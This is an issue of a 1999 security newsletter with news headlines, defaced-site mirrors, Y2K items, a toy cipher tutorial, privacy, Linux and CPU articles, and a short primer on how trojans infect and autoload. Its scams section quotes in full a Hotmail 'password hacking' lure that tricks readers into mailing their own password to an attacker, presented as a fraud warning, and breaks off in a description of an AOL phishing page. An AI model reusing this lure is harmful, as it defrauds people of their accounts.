--------------------------------------------------------------------------------
				Default newsletter Issue #3
				http://default.net-security.org
				27.08.1999 Help Net Security
				http://www.net-security.org
--------------------------------------------------------------------------------


TABLE OF CONTENTS
-----------------

I.	Editorial
II.	Last weeks news on Help Net Security
	a) Help Net Security news headlines
	b) Defaced Pages
III.	Y2K: As the millennium approaches
IV.	A look into basic cryptography
V.	Internet privacy: Freedom Network
VI.	Macintosh Security: F33r my hybride M4c, I'm coding!
VII.	Computing: A closer look at hard- and software
VIII.	Linux: IP Masquerading
IX.	Infection and vaccination
X.	Freedom of speech - related incidents
XI.   Scams - Getting something by all means 
XII.	Intrusion and detection part two



I. Editorial
------------

Hey people. We received good comments on Default newsletter from both individuals and 
security professionals. We have only 2 issues behind, but we will be even better (of
course with your feedback and help). If you would like to write an article for Default
newsletter please do e-mail us. Any help is appreciated. 
As you can see, this issue is little bit shorter. That is because Doug Muth didn't 
came yet from his holidays and Thejian and me were so busy this week. So do expect next
Default newsletter to be bigger and better than the previous ones.
In case you want to mirror Default newsletter on your site e-mail us also;)

Subscribing to Default newsletter:
send an e-mail to majordomo@net-security.org with a body message subscribe news your@email


Berislav Kucan
aka BHZ, webmaster Help Net Security
bhz@net-security.org

Xander Teunissen
aka Thejian, co-webmaster Help Net Security
thejian@net-security.org



II. Last weeks news on Help Net Security
----------------------------------------

a) Help Net Security news headlines

- Friday 20th August 1999:

	Default #2 released
	ABC compromised
	Belgian bank compromised
	Intel extends on-line privacy ban
	Homophobic web site "stolen" by hackers?
	Indonesia responds to cyber war threats
	Watching workers
	Carding in Newcastle
	
- Saturday 21st August 1999:

	Linux trojan in portmap.c
	FTP.exe overflow
	Biometrics in prisons
	Office 2000 also vulnerable to Jet flaw
	Former CIA director kept state secrets on home PC
	Furor rising over PV wiretap plan
	Student draws first net piracy conviction

- Sunday 22nd August 1999:

	MS security bulletin #30
	Sun says US army is testing Jini
	Hardencrypt
	E-commerce group formed to combat fraud
	ReDaTtAcK busted

- Monday 23th August 1999:

	Firm nabs cracker with intrusion detection tool
	First Net convict will do no time
	GAO risk-assessment report
	Sprint plans service to detect viruses
	US Government and inavasion of privacy
	East Timorese domain host denounces cyberwar
	Secure your web site
	DOD speaks on Y2K
	Bomb for Microsoft manager

- Tuesday 24th August 1999:

	ISS X-force advisory on Lotus Domino server 4.6
	Technology keys to tracking down Internet crime
	Govt. home-invasion bill
	Hackers scanning for trouble
	Norton AntiVirus 2000 is out
	Secret searches from DOJ
	SSL CPU consumption causes concerns
	Unix: It doesn't need to be so insecure

- Wednesday 25th August 1999:

	Shoutcast compromised
	HK police to establish computer crime team
	Smith admitted to creating Melissa
	New IE5 bug worst then ever?
	Audit office blasts agencies' serious security flaws
	Malicious attack on linux-kernel mailinglist
	More cyber-war threats

- Thursday 26th August 1999:

	Taiwan circles wagons in cyber-warfare
	UK webhosting company hit by virus
	Netscape issues web-server fix
	Windows and bugs? Nooooo?
	CWI cracks 512 bit key
	Mounting an anti-virus defense
	Tracing stolen computers through RC5
	Self destructing e-mails? Nice
	Y2K problems in Pakistan
	Retrospective on cracking contest
	Y2K test

http://net-security.org - Daily security related news
http://net-security.org/news - News archives
http://net-security.org/headlines.shtml - Add HNS headlines to your web-site

b) Defaced pages: (mirrors provided by Attrition (http://www.attrition.org))

Site: Red Hat Indonesia (www.redhat.or.id)
Mirror: http://default.net-security.org/3/www.redhat.or.id.htm

Site: Official Web site of Limp Bizkit (www.limpbizkit.com)
Mirror: http://default.net-security.org/3/www.limpbizkit.com.htm

Site: Monica Lewinsky's site (www.monicalewinsky.com)
Mirror: http://default.net-security.org/3/www.monicalewinsky.com.htm

Site: Madison Square Garden (www.thegarden.com)
Mirror: http://default.net-security.org/3/www.thegarden.com.htm

Site: The State University of West Georgia (www.westga.edu)
Mirror: http://default.net-security.org/3/www.westga.edu.htm

Site: Rock.com's Rolling Stone's Web site (www.stones.com)
Mirror: http://default.net-security.org/3/www.stones.com.htm


III. Y2K: As the millennium approaches
-------------------------------------

These weeks' Y2K headlines:

The computer network used by many Vermont police agencies and other 
emergency services went down for two days this week while technicians 
were preparing the system for the year 2000. While it was down, 
prosecutors had problems getting police paperwork, reporters couldn't 
get routine releases, and motorists needing copies of accident reports 
were out of luck. Officials do not yet know why the computer crashed. 
They do know it happened as technicians were upgrading the system to 
prepare for Y2K. It took more than two days to get the system running 
again. In the meantime, much of the record-keeping had to be done the 
old-fashioned way: with pen and paper. 

PC Week reported about MS Excel Y2K problems: 
"Unless users of Microsoft Corp.'s Excel download scanning tools from 
the company's Web site, their spreadsheets could go haywire when they 
open their files on Jan. 1. 
A Boston-based technology management consulting company has found that 
an Excel year 2000 error causing drastic math errors went undetected 
by a handful of Y2K analysis tools. 
The core of the problem is that Excel versions through Excel 2000 have 
a DATE() function that treats all two-digit years as 20th-century dates, 
regardless of how Excel is configured to handle two-digit dates. As 
a result, spreadsheets that use the DATE function are particularly 
vulnerable to Y2K problems. (By default, Excel 97's and Excel 2000's 
other date functions, as well as the software's data entry routines, 
treat two-digit dates less than 30 as part of the 21st century)"

The Millennium Bug that promised to swell U.S. courts with lawsuits 
arising from damage that may occur if a computer system fails to 
recognize the Year 2000 so far has resulted in only 74 cases filed, 
according to a report released Monday by PricewaterhouseCoopers.
The trickle has the potential to turn into a full fledge flood after 
the clock strikes midnight 1999, some experts said.
As of June 30, there were only 74 cases filed in state and federal 
courts against 45 defendants that related to the Year 2000 computer 
glitch (Y2K), according to the report.

Karen Shaw completed her 39-day trek across the state in which she 
set out to promote Y2K awareness to rural residents of Oregon. 49 year 
old teacher started her journey to show others that Y2K is coming very 
soon, and they must be prepared. Shaw left Medford with only $20 but 
said she lived on the generous donations of food and cash from people 
she encountered along the way. She said: "I did not come across any 
panicked people, but very practical, grounded, spiritual, caring people
who are just doing what their hearts tell them to do".

Hundreds of people in Japan complained Sunday after their automobile 
navigation systems went haywire - the result of a Y2K-like glitch in 
the satellite system used in navigation devices worldwide. Screens went
blank and bizarre symbols turned up on the electronic navigators, 
essential for millions of drivers in a country where urban streets are 
a chaotic jumble. Pioneer Corp, a major manufacturer of car navigation 
systems, received about 600 calls on its help hotline, said company 
spokesman Hidehiko Shimizu. Shimizu said callers were directed to the 
nearest repair shop, where their systems were fixed for free.

Y2K TOOLS
---------

TITLE: Outlook Express Year 2000 Update  
SIZE: 140 Kb
TYPE: Freeware
REQUIREMENTS: Windows 95/98/NT, Outlook Express 4.01
DOWNLOAD: http://default.net-security.org/3/en-x86-Q234681.exe

INFO: Part of Windows 98 Service Pack 1, this program will resolve a 
year 2000 issue with Outlook Express 4.01. The year 2000 issue occurs 
when receiving an IMAP mail message or a News message with a two-digit
year as the sent date. The date can be misinterpreted under certain 
conditions. For example, if the two-digit year is anything other than 
'99, Outlook Express assumes the century value is the same as the 
current century. If the current year is 2000, and a two-digit date is 
received as '97, then the year will be interpreted as 2097. However, 
there is one special case when different logic is applied. If a 
two-digit year of '99 is received and the current year is a multiple 
of 100 (e.g., 2000), the year will be interpreted as the current year 
plus 98 (e.g., 2098).



Berislav Kucan
aka BHZ
bhz@net-security.org
http://net-security.org



IV. A look into basic cryptography
----------------------------------

  
This is where I left off when I was working on the HOWTO last.... so 
from here on in is new and (slightly) improved.
I probably have my terminology wrong, but the next is what I think is 
called an output feedback cipher.
It takes the output from one step of applying the cipher, and uses 
that to apply the cipher to the next part.
This is the most simple method of an output feedback that I could think
of.
First index the alphabet in some manner, it could be using ascii values, 
or it could be a simple 1-26 method (I suggest ascii because then you 
will allow for punctuation, I used a simple 1-26 because it is easier 
to explain the cryptosystem).

A=1 B=2 C=3 D=4 E=5 F=6 G=7 H=8 I=9 J=10 K=11 L=12 M=13 N=14 

O=15 P=16 Q=17 R=18 S=19 T=20 U=21 V=22 W=23 X=24 Y=25 Z=26 

This is a very basic transposition cipher as is, but will soon change.

The algorithm in mathematical terms is:

(N+P(1))%26=C(1)

(N+C(1)+P(2))%26=C(2)

(N+C(2)+P(3))%26=C(3)

(N+C(3)+P(4))%26=C(4)

...

(N+C(r-1)+P(r)=C(r)

This may seem complicated, but its not.

N is a random number that will be passed on as a key. I suggest a 
larger number to protect yourself from a brute force attack. Do not 
use a number divisible by 26. In fact, for safety's sake, try using a 
larger prime, or a product of two smaller primes.

C(1) is the first ciphertext letter

P(1) is the first plaintext letter

r is the total number of characters in the message.

 

% is the mathematical symbol for the function modulus.

Modulus is like the remainder after dividing an integer by another integer.

So 28%26=2

and 942%26=6

(if your calculator doesn't handle modulus, a simple way to do it would be...

942/26=36.2307692307692307692307692307692

36.2307692307692307692307692307692-36=.2307692307692307692307692307692

.2307692307692307692307692307692*26=6

(round, your calculator cant handle these decimals -windows calc in 
scientific mode can handle modulus, the key you are looking for is Mod)

You take your message. Lets take the word hello for simplicities sake.

HELLO

first change it to corresponding numbers.

8 5 12 12 15

our key number will be... 73. (once again, I suggest a more secure key 
number than this, but this will serve our purposes well.)

1 2 3 4 5

8 5 12 12 15

Restate the Algorithm...

(N+P(1))%26=C(1)

(N+C(1)+P(2))%26=C(2)

(N+C(2)+P(3))%26=C(3)

(N+C(3)+P(4))%26=C(4)

...

(N+C(r-1)+P(r)=C(r)

And begin applying the algorithm:

H (73+8)%26=3 

E (73+3+5)%26=3

NOW you see the power of a more complicated cipher. Here 3 stands for 
both H AND E

L (73+3+12)%26=10

L (73+10+12)%26=17

Once again, the power of a more complicated cipher. while 3 stands for 
both H and E, L is represented by both 10 and 17.

O (73+17+15)%26=1

3 3 10 17 1

Then take these numbers, and transfer them back to letters.

A=1 B=2 C=3 D=4 E=5 F=6 G=7 H=8 I=9 J=10 K=11 L=12 M=13 N=14 

O=15 P=16 Q=17 R=18 S=19 T=20 U=21 V=22 W=23 X=24 Y=25 Z=26 

CCJQA

Now you ask how do you get back to the original "HELLO"?

Well first you need to find a way to tell someone the key number.... I 
suggest appending it to the beginning of the message, go back to how it
was in numbers. (Note, if someone knows the method you used to hide the
key number in the message, the security of the message is lost. This is
the case with all single key cryptosystems.)

3 3 10 17 1

here the code number was 73. that's 2 letters.

add 2 7 3 to your message in the beginning

2 7 3 3 3 10 17 1

then make it the text

B G C C C J Q A send that to someone. They extract the numbers, and then
the key 

number of 73.

 

Here's an idea, I will make this section somewhat interactive. 

If you can decrypt this message back to the original text of HELLO, 
please send your analysis of how to decrypt it using mathematical terms
to crypto@net-security.org. 

Ill go over all the emails and post who was first, and then go over it 
in the next issue.

Have fun.

-Iconoclast



V. Internet privacy: Freedom network
-----------------------------------------

The Freedom Network plays an integral role in Zero-Knowledge's
absolute privacy solution - Freedom.

Here's a quick look at what exactly the Freedom Network is 
and what it does.

You'll often hear Freedom referred to as client/server
software, but what does this really mean? Well, the 
"client" part is the software you install on your personal
computer and the "server" part is the software that runs 
the Freedom Network. 

The Freedom Network is a series of servers distributed 
among ISPs and organizations around the world. 

Internet traffic normally travels from source to 
destination unsecured (i.e. not encrypted) while passing 
through certain servers which can be easily identified. 

This is like sending confidential information using a 
postcard - anyone who handles the postcard knows the 
sender, the recipient and the contents. This unsecured 
delivery system makes message interception, falsification 
and tracking possible. 

To solve this problem, Freedom encrypts all Internet 
traffic and routes it through a series of anonymous Freedom 
servers, known as the Freedom Network.

Each server in the chain knows only the previous and 
following servers in the path, and nothing about the traffic 
(data) that it's handling. This makes the system extremely 
secure since no single server knows both the origin and the
destination of the traffic.

In fact, no one, not even your ISP, can monitor your web 
activities. 

Does My ISP Need A Freedom Server For Me To Use Freedom?

It's important to note that your ISP doesn't need to run a 
Freedom Server for you to enjoy the benefits of Freedom. If
they do opt to host one, however, you may notice an increase
in browsing speed while running Freedom. This will be 
explained in greater detail in the next section.

- Network Speed

We often talk about what effect running Freedom will have 
on your Internet connection speeds. These are also known as
"latency" issues. 

Freedom employs a number of systems to foil any attempts at
analyzing Freedom user's Internet activities. The net 
effect of these systems can result in slightly slower
connection speeds for some users. The exact latency, if 
any, that a user will experience while running Freedom 
depends on many factors, including;

- proximity to a Freedom Server
- geographic location relative to the Internet backbone
- the speed of your connection
- random Internet bottlenecks or "traffic jams"

When a user running Freedom connects to the Internet 
through their ISP, that connection will use a greater 
amount of bandwidth than a non-Freedom connection. As 
mentioned above, this is due to the extra systems Freedom 
employs to ensure user privacy. 

This extra bandwidth consumption will be more taxing on an
ISP's servers as the Freedom user's traffic passes though 
their system on its way to the first Freedom Server on the 
Freedom Network.

If, however, the user's ISP is hosting a Freedom Server, 
that server will be able to intercept this traffic much 
earlier, thereby streamlining the entire process. This, in
turn, will result in quicker connection speeds for the 
Freedom user.

To sum up, the closer a Freedom user's computer is to the 
first Freedom Server, the less latency a Freedom user will
experience. Since the closest a user can possibly get to a 
Freedom Server is if their ISP is running one - alerting
your ISP to the benefits of running a Freedom Server is a 
good idea! :-)

For an up to date listing of worldwide Freedom Server 
operators, please visit:
http://www.zeroknowledge.com/partners/founders.asp

Please keep in mind that this list gets bigger every day
as more server operators sign up so be sure to check back
often.

- Security Issues

"How is it possible that my ISP can't monitor my activities 
since all my communications pass through their servers?"

Simple - all the data leaving your machine is encrypted 
using strong crypto, which means that no one, not even 
your ISP, can watch what you're doing. 

In fact, whether you're sending email, surfing the Net, 
chatting or posting to newsgroups, Freedom ensures that
your activities remain private!

Why should I trust your security when other supposedly 
invulnerable codes and systems have been cracked?

- Software

Zero-Knowledge uses established public algorithms that have 
proven to be impervious to attack. Well-known public algorithms 
like Diffie/Helman, Triple DES, Blowfish and others ensure that 
the system will remain secure. ZK is uncompromising in its 
testing and implementation of encryption technology, using only 
established algorithms with unbreakable bit lengths - we do NOT 
cut corners.

- The More Bits, The Stronger The Encryption 

As a Canadian company, ZK can export encryption technology far 
stronger than the US Government's 56-bit encryption export standard. 
A document encrypted with 56-bit key length would have 
72,057,594,037,927,900 possible keys. Freedom's encryption begins 
at 128-bit key length, meaning it has 
340,282,366,920,938,000,000,000,000,000,000,000,000 possible keys. 
A supercomputer capable of trying one million keys per second in 
a brute-force attack would require 10,000,000,000,000,000,000,000,000 
years to find the right key. That's a long time.

- Personnel

A number of experts in the field of privacy and cryptography have 
estimated that there are perhaps five people in the world capable of 
designing and lending credibility to a system of this complexity. ZK 
Chief Scientist Ian Goldberg appears on that short list.

ZK sought out Mr. Goldberg because of his reputation for cracking 
other supposedly secure systems. As a grad student at USC Berkeley's 
Internet Security Applications Authentication and Cryptography Group, 
Ian cracked the 40-bit DES code in the RSA Data Security Challenge in 
just three and a half hours. He also earned international recognition 
for his part in breaking the Netscape SSL encryption system, as well 
as the cryptography system used in the GSM cellular phone standard.

- Peer Review 

Freedom has always been and will continue to be opened up for independent 
review by acknowledged industry experts.

-- Bruce Schneier of Counterpane Systems will audit the source code 
line-by-line to ensure that no cracks, holes or errors exist in the 
encryption implementation. Mr. Schneier, another short-list member, 
is well-known as a veteran cryptographer and author of Applied Cryptography:

Protocols, Algorithms, and Source Code, widely recognized as the bible of 
cryptography. 

Complete Privacy

ZK puts its customers' privacy first - with no exceptions. Unlike 
key-escrow or third-party systems, Zero-Knowledge (as implied by its name) 
is unable to determine who is behind a given pseudonym -- even under threat 
of force. 


Jordan Socran
Zero Knowledge Systems 
(http://www.zeroknowledge.com)



VI. Macintosh security: F33r my hybride M4c, I'm coding!
-------------------------------------------------------------

Most underground mac users are facing the same problems: only very few
people are actually coding  network security tools on Mac. The main 
reason is that coding a tcp/ip stack would take hundred of lines just 
to initialize. Today many products are offering a easy approach to 
programming, developing a project in RealBasic (http://www.realsoftware.com)
is much more easier than in CodeWarrior (http://www.metrowerks.com) 
even if each have sepecificities and use different language. 
Security software are ,usualy, not very big since they're focused on one type of
vulnerability.
It takes a long time to code, to debug a program.Another way to create 
your own tools is to use other languages, faster to code and to use.
Many cross platform languages exist.Most useful are C/C++, Visual Basic,
perl, ph3, java, rebol and much more. Rebol is a new great language 100% 
network oriented (http://www.rebol.com), it easy to code. You can do 
many things from basic mail client to databases, table builder, port 
scan. In few minutes you can build for example a scanner for a remote 
vulnerability on ip ranges. I made few month a cgi-check like in rebol, 
it scans around 70 famous vulnerabilities it took few minutes to 
adapt it from a C source. Plus the code is used by a virtual machine 
(available for 17 OS), and it quiet fast. Don't expect an well designed 
software with full of color because it's commande line only. 
Another language is perl. Many sources are available in the security 
domain, you can easily use those with Macperl and or with a local 
webserver. Make sure those sources are likely to be used on your os to 
even think about using a firewall admin tool in perl.... Anyway if you 
plan to use other languages that can't run on MacOs you can use a 
emulation, or install Linuxppc.
The macintosh with tools like "realbasic" allow you to build 
software in an almost ligne free of code way.Everything is performed 
graphically, except all commands.
The compiler allows to build software for macOs and for wintel.
For java it's more difficult to code even if tools jdk are 
available for mac.
It'll ask you alot of patience.If you just start programming, and want 
to learn fast you'd better start with RealBasic.Many people from the mac
underground scene code with realbasic, for example Portsniffer
(http://software.theresistance.net) is a great product.It's one of the
fastest port scanner I've ever seen on Mac. Another alternative is MacOX, 
a unix like made by Apple.Many unix tools are available or usable on 
this OS.It's a Unix easier to configure since MAcos computer have less 
type of hardware. Before you choose any languages you'd better learn how
to code, sometimes it takes years to  claim to know a language.Don't 
for get that only the limit you have is your imagination!

deepquest 
deepquest@default.net-security.org

All rights not reserved- Serving since 1994
http://www.deepquest.pf



VII. Computing: A closer look at hard- and software
----------------------------------------------------

Intel Celeron CPU has been introduced at the end of June 1998 with the version at 
266 MHz of clock, aiming at balancing the success of AMD K6-2 processor released a 
month before. It used the Deshutes Core at 0.25 microns of Pentium II CPUs but it 
didn't have L2 cache; this technical solution allowed to obtain high performance 
with floating point calculation due to the floating point processing unit (FPU) 
identical to that used with Pentium II CPUs, but it is a big gap with integer 
calculations, both in comparison to K6-2 and Pentium II, due to the lack of L2 cache. 
In July 1998 the version at 300 MHz of clock has been released always without L2 cache, 
while at the beginning of September the versions 300A and 333 MHz have been launched, 
with L2 cache at 128 Kbytes working at the clock frequency (against 512 Kbytes at half 
clock frequency of Pentium II CPUs) and put within the Core of the processor (on die). 
The introduction of the L2 cache allowed to reduce the gap with performance with integer 
calculations of the previous versions of Celeron CPUs making this processor a perfect 
solution in every field. The technical features of Celeron CPU up to September 1998 can 
be summarized as following:

· Deshutes core at 0.25 microns (as for Pentium II CPUs), which is called Mendocino for 
  CPUs including L2 cache and Covignon for those without L2 cache; 
· L1 cache at 32 Kbytes divided in two parts each with 16 Kbytes respectively for 
  instructions and data (as for Pentium II); 
· L2 cache at 128 Kbytes working at the clock frequency and put on die (in Pentium II it 
  amounts at 512 Kbytes working at half clock frequency and put on the processor cartridge, 
  outside the cpu's Core); 
· Frequency multiplier locked both upwards and downwards; 
· Bus frequency at 66 MHz against 100 MHz of Pentium II CPU; 
· SEPP package, that is based on cartridge and use of Slot 1 motherboard (the same used 
  by Pentium II CPUs). 


Intel marketing has always maintained a low cost for Celeron processors, on one side to 
compete with AMD K6-2 on low-end market, on the other to avoid to add an expensive product 
to Pentium II. Let's note two aspects:

· Celeron uses a bus frequency of 66 MHz while that of Pentium II is 100 MHz; if in practice 
  the differences in performance between the two solutions, with the same clock frequency, 
  are reduced, to the user the first seems to be cheaper, while the second seems to be more 
  "professional" so many buy systems based on Pentium II with more profits for Intel. 
· The performance of Celeron Mendocino and Pentium II, with the same clock frequency, are 
  almost aligned; Pentium II has a big advantage if used with server, where the presence of 
  L2 cache 4 times bigger, even if working at half clock frequency, is evident. For this 
  reason, Intel has always maintained an high clock difference between the to CPUs, so to 
  avoid that power users buy Celeron with higher frequency, less profitable than Pentium II. 


At the beginning of 1999 a new version of Celeron Mendocino CPU has been released; if the 
technical features are the same, the package of the CPU, that is SEPP one, has been 
substituted by a PPGA one:

SEPP Package: it is installed on Slot 1 and it is similar to a Pentium II CPU without 
external plastic cover; note in the middle, the CPU core and the space on its sides where 
there are the chips of the L2 cache with Pentium II CPUs.

PPGA Package: very similar to a Pentium MMX CPU it is more compact in comparison the SEPP 
version and it is installed on Socket 370.


Officially the reasons which led to the introduction of PPGA package aimed at reducing 
the production costs of the processor, as the SEPP package, an heritage from Pentium II, 
wasn't worth to exist anymore as the L2 cache is anymore put on it but directly within 
the CPU Core.
Another reason, linked to marketing, is that of making the processor market more selective: 
Slot 1 for more "professional" systems based on Pentium II and Pentium III processors, 
Socket 370 for those cheaper based on Celeron CPU. Up to the version at 433 MHz both 
variants of Celeron, SEPP and PPGA, were available, while from the version at 466 MHz on 
SEPP was almost completely abandoned.
Celeron CPU was very successful due to its general performance in every field and to its 
high overclockability which characterized almost every version; with these processors it 
was possible to achieve high clock frequencies, higher than those of Pentium II processors, 
with a very reduced investment. This article aims at checking the overclockability of 
Celeron CPU and finding, where possible, which is the best version of Celeron CPU in 
comparison to the price and the performance.

Damir Kvajo
aka Atlienz
atlienz@default.net-security.org



VIII. IP Masquerading: Multi-computer access to a network via single interface on the server
-----------------------------------------------------------------------

IPmasq basis:
When you set up IP Masquerading system on your Linux servers,
other machines on the *local* network will be able to use
the single network interface on the server. The most common usage
is to provide internet access to other machines, which do not
have their own connection.


The difference between Linux IPmasq and Windows tools (i.e. Wingate)
The is a big difference between the two. IPmasq is the "IP forwarding 
system", while Wingate acts as a proxy. So, to make the machine 
use the wingate, each application has to be configured separately,
while to use IPmasq, one just have to set up a "default gateway" 
for the machine. Further adjustments of client permissions are set
on the server side (by modifying the firewall rules). Also, 
IPmasq is capable of forwarding any kinds of protocols, even those
which does not have a special IPmasq helper application.


Kernel options.. To enable IP masquerade in the kernel, select:
- ip firewalling- packet filter firewall on a Linux box
- ip always defragment- neccessary for ipmasq to work. The packet is 
defragmented (put into one piece from the network fragments) on the server
and then goes "to the court".
- ip masquerading- actual ip masq support
- transparent proxy support- by selecting this option, client machines think
they communicate with the end server, while infact it is a local proxy.
- ICMP masquerading- adds IPmasq ICMP support (without this, the system 
does it only for UDP, TCP (and ICMP errors).
- ipmasq special modules support
- ipautofw masq support
- ipportfw masq support
(optional)
- optimize as router


Tools to get:
- ipmasq (the automatic ipmasq script, very useful, just be sure to 
	get the new one with the ipchains support in it)
- ipchains
- ipautofw
- ipportfw 
- ipmasqadm (special modules support)


Once you are finished with the kernel configuration, compile it and
install the new kernel. Add:
echo "1" > /proc/sys/net/ipv4/ip_forward
to some of your system initialization scripts (or do it manually).


After you raise the interface you want others to use (usually ppp0),
just run "ipmasq" to recompute firewall rules. By default, IPmasq
allows only the local network to use the interface.


Client side adjustments:
Linux:
as root, execute:
route del default; route add default gw your.servers.ip.address
You can see the current routing table by issuing "route", active
connections with "netstat", interfaces with "ifconfig"

Windows:
as any user (9x) click Start->Settings->Control panel->Network->
TCP/IP-network device and in the Gateway tab, add your server's IP
to the list.
dev
dev@net-security.org



IX. Infection and vaccination
----------------------------

Since school is back in for a lot of people, the number of trojans 
being made/updated has decreased(same with the length of this article).
So, this is the first of a few articles that simply explain general 
info about trojans, to help remove them. We also have info on the new 
LockDown 2000.  

As most people know a trojan is a program that says it will do something 
and then does something else. Currently the only security hole trojans
take advantage of is someone willing to run a program. Here is the 
general way most trojan infect people:
1. Someone is tricked into running the trojan
2. Then it copies to another location
3. After that it starts listening for connections
4. Writes to the registry so it will load with Windows

Windows lets programs autoload when booting many different ways. Just 
about everyone knows about the startup folder on the start menu. Most 
trojans don't use this method, though we have seen at least one that 
did. Another autoloading method is via the registry. This is the most 
common way a trojan uses to start with windows. While lesser known is 
the win.ini and even system.ini. 

A common thing to do among trojan users is to "bind" the trojan they 
want to infect someone with. Binding allows them to make a harmless 
program into a dangerous one. Popular trojans such as DeepThroat and 
SubSeven come with such tools. While many separate tools exist and are 
easily found that do the same(such as silkrope). Binding also makes it 
more difficult to be picked up by virus/trojan scanners, but it still 
is possible. 

We are lucky to view and get info on LockDown 2000 Version 4.0 
Pre-Release. This version fixes some minor bugs and adds some more 
control to the user. Also another handy feature is upon exiting it 
saves the configuration changes you made. Plus the trojan count has 
been increased to 378. Unfortunately the price is still probably high 
at 99 US dollars. We also have not had the chance to personally test 
it, maybe by next week we can. 


zemac
zemac@dark-e.com
http://www.dark-e.com



X. Freedom of speech - related incidents
------------------------------------------

*******************************************************************
Independence is my happiness, and I view things as they are, without 
regard to place or person; my country is the world, 
and my religion is to do good. 

- Thomas Paine
*******************************************************************

Every day the battle between freedom and repression rages through the global ether.  
Here are this week's links highlights from NewsTrolls(http://www.newstrolls.com):
----------------------------------------------------------------------

Weekend August 20-22

US redoubling efforts to 
<http://dailynews.yahoo.com/h/nm/19990820/ts/technology_covert_3.html>
invade encrypted privacy
 
And the US DOJ wants easier 
<http://www.washingtonpost.com/wp-srv/business/daily/aug99/encryption20.htm>
covert action capabilities 


-----------------------------------------------------------------
 Monday August 23

Recently freed Lafitte says the World Bank is to blame 
<http://www.insidechina.com/features.php3?id=87242.>
for the detentions...
 
"Lafitte, a Tibetan expert, said he had grave fears about the safety 
of his local translator, Tsering Dorje, and for Meston, who reportedly 
suffered spinal and internal injuries when he jumped from a building 
while trying to escape police. "The World Bank must bear direct 
responsibility for what happened and must act with its unique leverage 
as the biggest provider of capital to China to do something to help both 
the American, who is in trouble but at least has the American government 
to help him. "And particularly I feel it's the responsibility of the 
World Bank to do something for our translator, who has no government he 
can turn to...to protect him," he said." 

Under Chinese detention for investigating World Bank program, 
<http://www.washingtonpost.com/wp-srv/inatl/feed/a30394-1999aug23.htm>
Meston, an American, somehow fell out of a 3-story building and broke his back... 

"The men assigned to monitor Lafitte told him at least three times that he was 
lucky he was Australian, and not American, because the United States had bombed 
China's embassy in Belgrade. "America is always trying to hold us back, 
trying to make us weak," he recalled one saying." 


-------------------------------------------------------------------
Tuesday August 24

The Federal Reserve Board's opposition to 
<http://www.innercitypress.org/frreport.html>
the Freedom of Information Act... 

Thousands of Mexican Indians and Zapatista supporters 
<http://asia.yahoo.com/headlines/240899/world/935433360-90823183648.newsworld.html>
march in protest against military presence in Chiapas 

African consumers speak out on 
<http://www.africanews.org/atlarge/stories/19990823_feat5.html>
product dumping and market liberalization at their expense...
 
"According to Consumers International, consumption per capita in Africa has 
gone down by 20 percent over the past 20 years. Under the current exchange 
system, Least Advanced Countries will lose up to 600 million US dollars per year. 
This painful reality is contrary to the main objectives of the WTO charter, 
which requires signatory parties to recognise that the objective of their 
trading and economic relations must be to raise the living standards of the 
populations through employment of higher incomes. This is why African consumer 
organisations have been pressing decision makers and multinational companies 
to stop regarding consumer rights as a hindrance to trade and investment." 

----------------------------------------------------------------------
Wednesday August 25

Iran paper calls for 
<http://asia.yahoo.com/headlines/250899/world/935575740-90825100957.newsworld.html>
pre-election live TV debates...
 
"The Iran News also said conservative-dominated state television has 
"shied away from the clash of ideas" and that its programming has 
"not been able to quench the public thirst for more accurate and 
impartial information.""

He Zhaohui, 32, labor activist gets 10 years in prison for 
<http://www.insidechina.com/news.php3?id=87778>
"providing information to overseas organizations" 

"He, who organized over 10 workers' demonstrations in Chenzhou in 1997 and 1998, 
reported workers' protests in the province to democracy movements and human 
rights organizations in the United States, the center said." 

Over 10,000 pro-independence demonstrators 
<http://asia.yahoo.com/headlines/250899/news/935568600-90825081041.newsasia.html>
rally in Dili ahead of East Timor elections...
 
More on 
<http://news.bbc.co.uk/hi/english/world/asia-pacific/newsid_429000/429563.stm>
the rally... 

"One of the organisers, Agio Pereria, said a clear message was being 
sent to anyone planning to sabotage the ballot and abort the consultation 
process. "Don't stop our people to reach the ballot box, because this is 
a right," he said. "Each individual has his or her right to exercise the 
right to vote in peace. And we hope that this is the message that we 
send today." 
diva aka Pasty Drone
NewsTrolls, Inc. , http://www.newstrolls.com
pastydrone@newstrolls.com



XI. Scams - Getting something by all means 
------------------------------------------

This article will talk about common light Internet scams that could 
happen to everyone who is not careful (but do note that they will often
happen to the people who have not great knowledge in computers,
especially in some basics of Internet surfing.
I don't know but lot of wannabe "hackers" think that they must start
with hotmail or yahoo hacking. They want to get someone's e-mail 
password so they could read his e-mail, tease the "victim" and to
get some passwords (like if the victim has registered a webpage with
corrupted e-mail, attacker could easily snatch it). Even when I started
working on net-security, I got lot of e-mail saying like: "Help me to
hack a hotmail account". Better advise to this people is to start 
learning something that could really be useful to them.

(1)
  Hotmail "hacking" (this one is almost legendary, because this "way
  of hacking" could be found on almost every Usenet group which has 
  hack in its topic.

<********************************************************************>

First, start with opening your own hotmail address. 
Select compose. 
Type in : 

To: emailoftheattacker@hotmail.com    

Subject: HTM.MSN.PW.REQ 
(It is absolutely necessary to type in CAPITALS - subject 
headers are case sensitive ) 

Message: 
[First line] The login name of the person you want to hack 

[2nd line] Your own password. 
Because the automatic hotmail responder will require your 
"systemadministrator password" which is in fact are your own password! 
But the computer doesn't know that

[third line] x3iZ0k45-MSN-6TqGW-reqf47890sys (case sensitive) 

How it works: 
You mail to a systemadministrators automatic responder. 
Usually only system administrators should be able to use this 
( when for example getting lost passwords ), but when you try it 
with your own password and mail the above explained message from your 
hotmail account the computer gets confused! 
MSN will respond with an automated message indicating the password requested
NOTE that if the message you send MSN is composed incorrectly, 
or there has been a change in the status of the user queried,
you may not get an automated response 
In this event, you will need to resubmit the request.
This "trick" usually takes about 4 hours to get a reply of.

<********************************************************************>

I am sad to say, but according to the critics of victims on usenet, 
this fraudulent activity works on someone. This whole story with
sending your own password is bogus and it isn't also very imaginative.
I came across this page on Geocities, and it is just a little bit
modernized version of an old fraud, that we wrote about on net-security,
exactly 10 months ago (sending your password was then explained like 
this: "By doing this, the computer which receives the email believes you
are a Hotmail System administrator, and sends you the password you 
require within 1-2 hours"). 

(2)
  AOL web fraud

I came across on this trick, by reading attrition's mirrors of hacked
pages. Originally the site for this scam was on www.arodnet.com with
a backup on pages.hotbot.com server. Just to note that this page is as
I'm writing this defaced again. So when you access this page it gives you
exactly the same look as the AOL NetMail site (www.aol.com/netmail).
You have a form where you can enter Screen Name and appropriate password.
When you enter it, form doesn't do what you think it is supposed to do:
